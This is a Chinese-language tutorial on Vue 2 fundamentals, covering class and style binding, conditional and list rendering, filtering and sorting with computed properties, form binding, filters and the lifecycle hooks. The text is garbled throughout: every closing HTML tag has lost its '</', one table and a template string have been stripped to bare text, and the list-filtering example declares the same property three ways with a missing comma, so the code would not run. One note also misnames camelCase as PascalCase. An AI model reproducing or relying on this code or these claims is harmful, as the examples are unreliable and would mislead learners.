<div class="static" :class="c1">{{msg}}div>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Class绑定之字符串形式',
c1 : 'small'
},
methods: {
changeBig(){
this.c1 = 'big'
},
changeSmall(){
this.c1 = 'small'
}
},
})
script>
body>
绑定数组适用场景:当绑定的样式个数不确定,并且样式的名字也不确定的时候
<style>
.static {
border: 1px solid black;
width: 100px;
height: 100px;
}
.active {
background-color: green;
}
.text-danger {
color: red;
}
style>
head>
<body>
<div id="app">
<h1>{{msg}}h1>
<div class="static active text-danger">{{msg}}div>
<div class="static" :class="['active','text-danger']">{{msg}}div>
<div class="static" :class="[c1, c2]">{{msg}}div>
<div class="static" :class="classArray">{{msg}}div>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Class绑定之数组形式',
c1 : 'active',
c2 : 'text-danger',
classArray : ['active', 'text-danger']
}
})
script>
绑定对象适用场景:样式的个数是固定的,样式的名字也是固定的,但是需要动态的决定样式用还是不用
<style>
.static {
border: 1px solid black;
width: 100px;
height: 100px;
}
.active {
background-color: green;
}
.text-danger {
color: red;
}
style>
<body>
<div id="app">
<h1>{{msg}}h1>
<div class="static" :class="{active:true,'text-danger':false}">{{msg}}div>
<div class="static" :class="classObj">{{msg}}div>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Class绑定之对象形式',
classObj : {
// 该对象中属性的名字必须和样式名一致(对象中的属性名都有单引号并且可以省略,但是对于属性名含有划线的单引号不能省略)
active : false,
'text-danger' : true
}
}
})
script>
body>
绑定对象时对象的属性名要采用大驼峰的形式,属性值需要用单引号括起来
<style>
.static {
border: 1px solid black;
width: 100px;
height: 100px;
}
style>
<body>
<div id="app">
<h1>{{msg}}h1>
<div class="static" style="background-color: green;">{{msg}}div>
<div class="static" :style="myStyle">{{msg}}div>
<div class="static" :style="{backgroundColor: 'gray'}">{{msg}}div>
<div class="static" :style="styleObj">{{msg}}div>
<div class="static" :style="styleArray">{{msg}}div>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Style绑定',
myStyle : 'background-color: gray;',
styleObj : {
backgroundColor: 'green'
},
styleArray : [
{backgroundColor: 'green'},
{color : 'red'}
]
}
})
script>
body>
v-if指令用于条件性地渲染一块内容, 这块内容只会在指令的表达式返回true时才被渲染
v-if和v-show都是按照条件显示一个元素
v-if是一个指令必须依附于某个元素, 但如果我们想要同时显示或者隐藏多个元素代码这样写就冗余了, 可以在template元素上使用v-if,v-else和v-else-if指令
<body>
<div id="app">
<h1>{{msg}}h1>
<div v-if="false">{{msg}}div>
<div v-if="2 === 1">{{msg}}div>
<button @click="counter++">点我加1button>
<h3>{{counter}}h3>
<img :src="imgPath1" v-if="counter % 2 === 1">
<img :src="imgPath2" v-else>
温度:<input type="number" v-model="temprature"><br><br>
天气:<span v-if="temprature <= 10">寒冷span>
<span v-else-if="temprature <= 25">凉爽span>
<span v-else>炎热span>
<div v-show="false">你可以看到我吗div>
<template v-if="counter === 10">
<input type="text">
<input type="checkbox">
<input type="radio">
template>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '条件渲染',
counter : 1,
imgPath1 : '../img/1.jpg',
imgPath2 : '../img/2.jpg',
temprature : 0
}
})
script>
body>
v-for指令写在循环项上:v-for=“(一个参数或者两个参数) in/of 要遍历的数组、对象、字符串、指定次数”
<body>
<div id="app">
<h1>{{msg}}h1>
<h2>遍历数组h2>
<ul>
<li>张三li>
<li>李四li>
<li>王五li>
ul>
<ul>
<li v-for="name of names">{{name}}li>
ul>
<ul>
<li v-for="(name,index) of names"> {{name}}-{{index}}li>
ul>
<h2>遍历对象的属性h2>
<ul>
<li v-for="(value, propertyName) of user">{{propertyName}},{{value}}li>
ul>
<h2>遍历字符串h2>
<ul>
<li v-for="(c,index) of str">{{index}},{{c}}li>
ul>
<h2>遍历指定的次数h2>
<ul>
<li v-for="(num,index) of counter">{{index}}, {{num}}li>
ul>
<table>
<tr>
<th>序号th>
<th>会员名th>
<th>年龄th>
<th>选择th>
tr>
<tr v-for="(vip,index) in vips">
<td>{{index+1}}td>
<td>{{vip.name}}td>
<td>{{vip.age}}td>
<td><input type="checkbox">td>
tr>
table>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '列表渲染',
names : ['jack','lucy','james'],
vips : [
{id:'111',name:'jack',age:20},
{id:'222',name:'lucy',age:30},
{id:'333',name:'james',age:40}
],
user : {
id : '111',
name : '张三',
gender : '男'
},
str : '动力节点',
counter : 10
}
})
script>
Vue框架采用了虚拟Dom机制+diff算法来提高渲染效率, 只有真正改变的dom元素才会重新渲染
新的虚拟dom和旧的虚拟dom比较原则: 根据v-for指令所在的标签的key属性值(key存在于虚拟dom元素中是其的唯一标识)
如果没有指定标签的key属性,会自动拿index作为key属性的值, 这种方式效率低复用性差, 另外操作数组当中的非末尾元素时容易发生错乱
{{msg}}
序号
姓名
邮箱
选择
{{index + 1}}
{{vip.name}}
{{vip.email}}
指定对象的id作为key属性的值 , 因为id是唯一的所以不会出现错乱问题
监视文本框中输入的数据,根据用户输入的关键字对原数组进行过滤,将新数组渲染到页面
let arr = [1,2,3,4,5,6,7,8,9]
// filter不会破坏原数组的结构,会生成一个全新的数组
let newArr = arr.filter((num) => {
//return 过滤规则
return num < 5
})
console.log(newArr)
<body>
<div id="app">
<h1>{{msg}}h1>
<input type="text" placeholder="请输入搜索关键字" v-model="keyword">
<table>
<tr>
<th>序号th>
<th>英雄th>
<th>能量值th>
<th>选择th>
tr>
<tr v-for="(hero,index) in filteredHeros" :key="hero.id">
<td>{{index+1}}td>
<td>{{hero.name}}td>
<td>{{hero.power}}td>
<td><input type="checkbox">td>
tr>
table>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
keyword : '',
msg : '列表过滤',
heros : [
{id:'101',name:'艾格文',power:10000},
{id:'102',name:'麦迪文',power:9000},
{id:'103',name:'古尔丹',power:8000},
{id:'104',name:'萨尔',power:6000}
],
filteredHeros : []
},
watch : {
// 页面初次加载时就调用handler函数
keyword : {
immediate : true,
handler(val){
this.filteredHeros = this.heros.filter((hero) => {
// 执行过滤规则
return hero.name.indexOf(val) >= 0
})
}
}
}
computed : {
filteredHeros(){
// 返回数组作为计算属性的值
return this.heros.filter((hero) => {
// 执行过滤规则
return hero.name.indexOf(this.keyword) >= 0
})
}
}
})
script>
body>
let arr = [8,9,5,4,1,2,3]
// sort方法排序之后,不会生成一个新的数组,是在原数组的基础之上进行排序,会影响原数组的结构
arr.sort((a, b) => {
return b - a
})
console.log(arr)
<body>
<div id="app">
<h1>{{msg}}h1>
<input type="text" placeholder="请输入搜索关键字" v-model="keyword">
<button @click="type = 1">升序button>
<button @click="type = 2">降序button>
<button @click="type = 0">原序button>
<table>
<tr>
<th>序号th>
<th>英雄th>
<th>能量值th>
<th>选择th>
tr>
<tr v-for="(hero,index) in filteredHeros" :key="hero.id">
<td>{{index+1}}td>
<td>{{hero.name}}td>
<td>{{hero.power}}td>
<td><input type="checkbox">td>
tr>
table>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
type : 0,
keyword : '',
msg : '列表排序',
heros : [
{id:'101',name:'艾格文',power:10000},
{id:'102',name:'麦迪文',power:9000},
{id:'103',name:'古尔丹',power:8000},
{id:'104',name:'萨尔',power:11000}
]
},
computed : {
filteredHeros(){
// 排序会影响原数组的结构
const arr = this.heros.filter((hero) => {
// 执行过滤规则
return hero.name.indexOf(this.keyword) >= 0
})
// 排序
if(this.type === 1){
// a和b是一个对象
arr.sort((a, b) => {
return a.power - b.power
})
}else if(this.type == 2){
arr.sort((a, b) => {
return b.power - a.power
})
}
// 返回新数组作为计算属性的值
return arr
}
}
})
script>
body>
阻止表单的默认提交行为的方式
<body>
<div id="app">
<h1>{{msg}}h1>
<form @submit.prevent="send">
用户名:<input type="text" v-model.trim="user.username"><br><br>
密码:<input type="password" v-model="user.password"><br><br>
年龄:<input type="number" v-model.number="user.age"><br><br>
性别:
男<input type="radio" name="gender" value="1" v-model="user.gender">
女<input type="radio" name="gender" value="0" v-model="user.gender"><br><br>
爱好:
旅游<input type="checkbox" v-model="user.interest" value="travel">
运动<input type="checkbox" v-model="user.interest" value="sport">
唱歌<input type="checkbox" v-model="user.interest" value="sing"><br><br>
学历:
<select v-model="user.grade">
<option value="">请选择学历option>
<option value="zk">专科option>
<option value="bk">本科option>
<option value="ss">硕士option>
select><br><br>
简介:
<textarea cols="50" rows="15" v-model.lazy="user.introduce">textarea><br><br>
<input type="checkbox" v-model="user.accept">阅读并接受协议<br><br>
<button>注册button>
form>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
user : {
username : '',
password : '',
age : '',
// 默认选中指定表单的value值
gender : '1',
// 复选框的value采用数组接收
interest : ['travel'],
grade : 'ss',
introduce : '',
accept : ''
},
msg : '表单数据的收集'
},
methods : {
send(){
alert('ajax...!!!!')
// 将数据收集好,发送给服务器
console.log(JSON.stringify(this.user))
}
}
})
script>
body>
过滤器适用于简单的逻辑处理,可以进行全局配置或局部配置
过滤器可以用在插值语法和v-bind指令中,可以对一些数据进行格式化显示
<body>
<div id="app">
<h1>{{msg}}h1>
<h2>商品价格:{{formatPrice}}h2>
<h2>商品价格:{{formatPrice2()}}h2>
<h2>商品价格:{{price | filterA | filterB(3)}}h2>
<input type="text" :value="price | filterA | filterB(3)">
div>
<div id="app2">
<h2>商品价格:{{price | filterA | filterB(3)}}h2>
div>
<script>
// 配置全局的过滤器可以在另一个容器中使用
Vue.filter('filterA', function(val){
if(val === null || val === undefined || val === ''){
return '-'
}
return val
})
Vue.filter('filterB', function(val, number){
return val.toFixed(number)
})
const vm2 = new Vue({
el : '#app2',
data : {
price : 20.3
}
})
const vm = new Vue({
el : '#app',
data : {
msg : '过滤器',
price : 50.6
},
methods: {
formatPrice2(){
if(this.price === '' || this.price === undefined || this.price === null){
return '-'
}
return this.price
}
},
computed : {
formatPrice(){
if(this.price === '' || this.price === undefined || this.price === null){
return '-'
}
return this.price
}
},
// 局部过滤器
filters : {
filterA(val){
if(val === null || val === undefined || val === ''){
return '-'
}
return val
},
filterB(val, number){
// 确保传递过来的数据val,保留number位小数
return val.toFixed(number)
}
}
})
script>
body>
Vue的生命周期指的是vm对象从创建到最终销毁的整个过程,在这个过程中不同的时间节点上调用不同的钩子函数(在不同时刻被自动调用的函数)
Vue 的生命周期可以被划分为初始阶段、挂载阶段、更新阶段、销毁阶段, 每个阶段会调用两个钩子函数beforeXxx()、xxxed()
研究Vue的生命周期主要是研究在不同的时刻Vue做了哪些不同的事儿,根据不同需求编写对应的钩子函数等待Vue自动调用
第一步: 创建Vue实例vm, 此时Vue实例已经完成了创建
第二步: 初始化事件对象和生命周期
第三步: 调用beforeCreate()钩子函数,此时数据代理和数据监测还未创建,无法通过vm去访问data对象的属性
第四步: 调用created()钩子函数, 此时数据代理和数据监测已经创建完毕,可以通过vm访问data对象的属性
第五步: 编译模板语句生成虚拟DOM, 此时虽然生成了虚拟Dom但还没有渲染到页面上
初始阶段适合做什么
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue生命周期',
counter : 1
},
methods: {
m(){
console.log('m....')
}
},
beforeCreate() {
// 创建前表示数据代理和数据监测还未创建,此时还无法访问data当中的数据以及methods当中的方法
console.log('beforeCreate', this.counter)
// 调用methods报错,方法不存在
//this.m()
// 打一个断点
debugger
},
created() {
// 创建后表示数据代理和数据监测创建完毕,可以访问data中的数据了。
console.log('created', this.counter)
// 可以访问methods的m方法
this.m()
}
})
测试el和template配置项
<body>
<div id="app">
<h1>{{msg}}h1>
div>
<script>
// el和template同时存在优先选择template,
const vm = new Vue({
el : '#app',
template : `
{{s}}
`,
data : {
msg : '测试el和template配置项',
s : 'template配置项!!!!'
}
})
// el必须要存在,如果不存在需要手动调用vm.$mount(el)进行手动挂载
//vm.$mount('#app')
script>
body>
第一步: 调用beforeMount()钩子函数(此时有虚拟Dom但还没有渲染到页面),在函数中操作页面元素并没有效果,因为虚拟DOM已经确定了,等到其渲染时就会覆盖
第二步: 给vm追加$el属性用它来代替”el”,这个属性代表了真实的DOM元素(将虚拟Dom渲染到页面生成真实DOM)
第三步: 调用mounted()钩子函数,在函数中操作页面的DOM会有效果,因为操作的是真实DOM
mounted: 适合操作页面的DOM元素
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue生命周期',
counter : 1
},
beforeMount() {
// 挂载前
console.log('beforeMount')
},
mounted() {
// 挂载后
console.log('mounted')
// $el属性代表了真实的DOM元素
console.log(this.$el)
console.log(this.$el instanceof HTMLElement)
}
})
更新阶段开始的标志是data发生变化时需要重新渲染页面
第一步: 调用beforeUpdate()钩子函数(此时只是更新了内存中的data数据发生,页面还未更新)
第二步: 进行diff算法新旧DOM比对, 虚拟DOM重新渲染和修补
第三步: 调用updated()钩子函数(此时内存中的数据和页面都已更新)
更新阶段适合做什么
<div id="app">
<h1>{{msg}}h1>
<h3>计数器:{{counter}}h3>
<h3 v-text="counter">h3>
<button @click="add">点我加1button>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue生命周期',
counter : 1
},
methods: {
add(){
this.counter++
},
},
// 更新阶段
beforeUpdate() {
// 更新前,只是更新了内存中的数据,还没有更新页面
console.log(this.counter)
},
updated() {
// 更新后
console.log(this.counter)
},
})
script>
销毁阶段开始的标志是手动调用vm.$destroy()方法
第一步(解绑前): 调用beforeDestroy()钩子函数,此时Vue实例还在, vm对象上所有的东西还没有开始解绑(子组件,监视器,自定义事件监听器,v-指令)
第二步(解绑后): 调用destroyed()钩子函数,此时Vue实例还在但是vm对象上所有的东西都已经解绑完成了
销毁阶段适合做什么: beforeDestroy方法适合做销毁前的准备工作,例如可以在这里清除定时器
<body>
<div id="app">
<h1>{{msg}}h1>
<h3>计数器:{{counter}}h3>
<h3 v-text="counter">h3>
<button @click="add">点我加1button>
<button @click="destroy">点我销毁button>
div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue生命周期',
counter : 1
},
methods: {
add(){
console.log('add....')
this.counter++
},
destroy(){
// 执行销毁阶段,销毁vm
this.$destroy()
},
},
watch : {
counter(){
console.log('counter被监视一次')
}
},
// 销毁阶段
beforeDestroy() {
// 销毁前
console.log('beforeDestroy')
console.log(this)
// 修改data也不会重新渲染页面了
this.counter = 1000
},
destroyed() {
// 销毁后
console.log('destroyed')
console.log(this)
},
})
script>
body>